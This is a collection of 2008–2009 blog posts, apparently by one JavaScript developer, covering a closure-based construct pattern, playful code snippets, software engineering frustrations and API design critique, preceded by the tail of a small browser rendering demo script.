  // relatively-defined units, in this case divs with em dimensions.
  var last = parseInt(document.body.style.fontSize)/100 || 0;
  n = n || last;
  // Pick relatively larger number
  // This number is a relative maximum
  var max = Math.sqrt(last || 1 * n) * 100;
  document.body.style.fontSize = max + '%';
  
  // relative rendering number
  var rel = n/max;
  
  var block = document.createElement('div');
  
  block.style.backgroundColor = 'red';
  
  block.style.MozOpacity = n/100;
  block.style.height = '1em';
  block.style.width = rel * 50 + '%';
  document.body.appendChild(block);
  if (window.scrollMaxY) document.body.removeChild(document.body.firstChild);
  if (n < 0) document.body.innerHTML = '';
}
</script>
</body>

Secure string interpolation

noreply@blogger.com (Francisco Brito) — Sun, 13 Dec 2009 06:40:00 +0000

While working on giddy/gNius, I ran across this article about Secure interpolation on JavaScript written by peeps at Google's Caja. Very well written and nowhere close to my "this should work" approach. Check it out.

Structure

noreply@blogger.com (Francisco Brito) — Fri, 26 Jun 2009 03:50:00 +0000

An ideal software development environment would be, among other things, reliable.

Currently, systems use tests to keep expectations and reality linked to some degree. Compilers for example, can somewhat also test the code, but only to the extent that is syntactically correct. But there are at least 3 kinds of errors: syntax, runtime and intent. The first two are familiar, the third one signals a disconnection between user expectation and running code. A bug.

I've been working for a while on what I see as The Software Engineering Problem. You know, programmers that are demotivated, project managers who are stressed, designers who are frustrated, etc. I come from a classical engineering background: Mechanical, electrical, automotive. As such, I am often taken aback by the things happening in software that would just not fly on meatworld. There's a great article on Linux Journal.

This is where the system I envision fits: connecting human expectations with computer execution, with minimal explicit human interaction. It is what robots did for Detroit: automate lower level tasks to free resources for higher level planning, with much higher quality results.

For the time being, the intent behind this prototyping UI environment is to minimize the time spent cranking functionality. This time can be cut by making for example a meta-testing program, which can collaborate with the developer to write unit tests automatically; or by making it easy to write interfaces so people with a more visual skill don't need to also know a great deal of programming or rely on someone else (and the quality of the communication between them) to write a mockup or prototype. This bit could amount for several months saved per small feature.

By focusing on human intent, computer systems can be built that are much more optimal, because the name of the problem is Human-Computer-Interaction. Much more if we are aiming for the birth of Artificial Intelligence, or the emergence of a hive mind. Previously, the idea had been to focus on the user but it seems that engineers were left behind there. "The CLIENT is who we focus on, not the lowly developer. You do what you have to do to rake in the money." Not so much.

I don't know if there's even such a place, but I'm just glad it's not really like that for me. That doesn't mean that it couldn't be improved.

Finally, "capture requirements in the user's terms, and then to try to create an implementation language as isomorphic as possible to the user's descriptions, so that the mapping between requirements and implementation is as direct as possible" --Language Oriented Programming

How to make engineers quit

noreply@blogger.com (Francisco Brito) — Wed, 06 May 2009 01:01:00 +0000

1. Put them to work with tools that are inefficient. Good examples are: spaghetti code, slow or unneeded compiles and server restarts, infinitely complicated instructions and a billion systems that only a true god could figure how to make them work together.

2. Inundate them with feature requests and bugs, making sure that the deadlines sound reasonable for an optimal environment. After all, their time should be well accounted for.

So far, you already have a winning recipe. Your engineers will be swamped every time they want to do something because, ideally, it should take as long as they estimated in the first place, not really knowing the state of the underlying code.

Of course, you can't know the state of the code until you actually try working with it. If the engineer is not experienced enough, he or she can't figure out that it's not supposed to be this hard in the first place. This makes the engineer feel stupid.

There's more ways to make this more fun:

3. Reward those who are eager to write code, but inexperienced. This ensures you get a lot of features at the cost of exploding code. Tell yourself that as long as something is documented, then that's all it needs.

Remember, users never come first. A good and often used example of this is ignoring that any code that is written is supposed to be used by another, different human. Make sure you don't design for simplicity, but something that is more tangible, like page load speed.

4. Don't pay attention to engineers warning about the state of the tools. If the young'uns can deal with it, then clearly that's just an excuse to slack off.

Stay tuned for your next issue: How to lose your business to your ex-employees in a few years. Hint: it has something to do with being able to push features faster.

Anonymous Construct Pattern

noreply@blogger.com (Francisco Brito) — Fri, 17 Apr 2009 08:16:00 +0000

I've been furiously working on "the red pill"... this is the latest

JavaScript. A powerful language, misunderstood.

So many people have tried to tame it with libraries. Many have failed, some have succeeded.

The idea behind a library either local, company-wide or open source, is to abstract imperfect parts: Not all browsers behave the same and it's extremely difficult to tame them. Gathering all this knowledge into a library saves a lot of time.

Many have tried to put some structure into JavaScript, but have only succeeded in creating only Java-ish. Classes, supers, the works.

A good abstraction is one that we don't have to think about. It just works and it's easy to use it.

Let's say that we want to make the powerful in JavaScript more friendly for kids that shouldn't play with fire. Let's tame closures for them and offer the scopes they are familiar with: private and public. Classical inheritance is sack of potatoes: heavy (when full of potatoes) and old school.

Let's say we create a translator for the rest.

Part I: Construct

An anonymous construct does not pollute; it is humble. Only its UID is exposed.

Construct's instance and static (immutable) scaffolds:

/**
* @constructor
*/
(window.Construct = function(){
 // instance
}).prototype = new function(){
 // static
};

Private members, public members:

(window.Construct = function(){
 this.private = {};
}).prototype = new function(){
 this.public = {};
};

Closures:

(window.Construct = function(){
 var closure = {};
 this.private = function(){
  with(closure){
   // private, with access to closure objects  
  } 
 };
}).prototype = new function(){
 var closure = {};
 this.public = function(){
  with(closure){
   // public, with access to closure objects  
  } 
 };
};

The time is coming

noreply@blogger.com (Francisco Brito) — Tue, 10 Feb 2009 19:36:00 +0000

Will you miss out?

new Date(1234567890123);

This is why I don't get any work done

noreply@blogger.com (Francisco Brito) — Tue, 16 Dec 2008 18:39:00 +0000

(function () {
    var lyrics = [];
    ['badger', 'mushroom', 'snake'].forEach(function(word) {
        window[word] = function(){ lyrics.push(word); };
    });
    function repeat(f, n) {
        for (var i=0; i <= n; ++i) {
            f();
        }        
    }
    repeat(function(){
        repeat(badger,11);
        repeat(mushroom,2);
    }, 3);
    repeat(badger,11);
    repeat(snake,4);
    alert(lyrics.join());
})();

I'm sure you remember the song.

Interface design

noreply@blogger.com (Francisco Brito) — Thu, 21 Aug 2008 19:56:00 +0000

Nobody doubts that the interface of a shiny new iPhone or macbook were thoroughly thought through. Most of the tangible things we use have a thought process behind them that reflect that there were people thinking about how these things were to be used. Ranging from kitchen tools to a car dashboard, it's evident that this interface design is present.

Lately, as the web evolves, the same concepts are ported into new disciplines: interface design becomes a crucial component of any respectable web site or application. I can't say that most interfaces have been thought through, but the concept is there.

Unfortunately, when it comes to programming interfaces, one can sadly see that they have not been thought through at all.

I'm taking a break from my first attempt at a GWT application to give you an example:

1. To create an Eclipse project:
projectCreator -eclipse MyProject
2. Then, you need to create the application skeleton:
applicationCreator -eclipse MyProject com.mycompany.client.MyApplication

Looks super simple, but:
- Why do I need to repeat -eclipse MyProject? Can't the applicationCreator detect an existing eclipse project? Apparently not
- From the example, it seems like i should be able to create com.failcorp.something.MyTestApplication right? No. I get a warning:

Please use 'client' as the final package, as in 'com.example.foo.client.MyApp'.It isn't technically necessary, but this tool enforces the best practice.

Uh, if you're going to enforce it, can you not give an example where you can change anything but client on it? Yeah, you can change com, example, foo and MyApp but not client. That's a bit obtuse.

No disrespect. GWT is the product of very hard work and deserves lots of props. This example does not in any way represent the quality of GWT but it does portray a problem that the vast majority of software tools and web applications have: their interfaces are designed by people familiar with the solution --and sometimes not even familiar with the problem, as I point out below--. The result? People familiar with the problem and unfamiliar with the solution spend an unacceptable amount of time trying to learn how to use the tools. It so pervades our programming culture, that nobody makes a public stink about it. Once you learn it, it's not a problem; and if you haven't learned it yet then you should probably feel stupid until you do.

The issue is becoming more obvious in web applications: the features are driven by CEOs, managers, sales people, etc. People that "know" the landscape. How come programmers often end up not implementing what clients most often ask for? Who is the product for? What's worse is that these product designers often don't even use the product and are unfamiliar with the problems it attempts to solve. This is why the dogfood concept is so important: if you don't use it, you'll never know if it's useful or not.

I mentioned before the hardware design of Apple products: it might not be perfect, but it's superior to the average. Here's an example for the software world: jQuery. This tiny library does about the same as many others. Maybe it's faster, maybe it's smaller, maybe it's hotly debated. But what is really different is that it was designed to be easy to use, and it really is. The difference is so vast, that it's actually difficult to express how different it is to someone who is used to clunky APIs.

Ultimately, is a tool designed only to solve a problem or does it keep in mind its users? Writing an API or command-line tool should NOT be like slapping buttons on a box.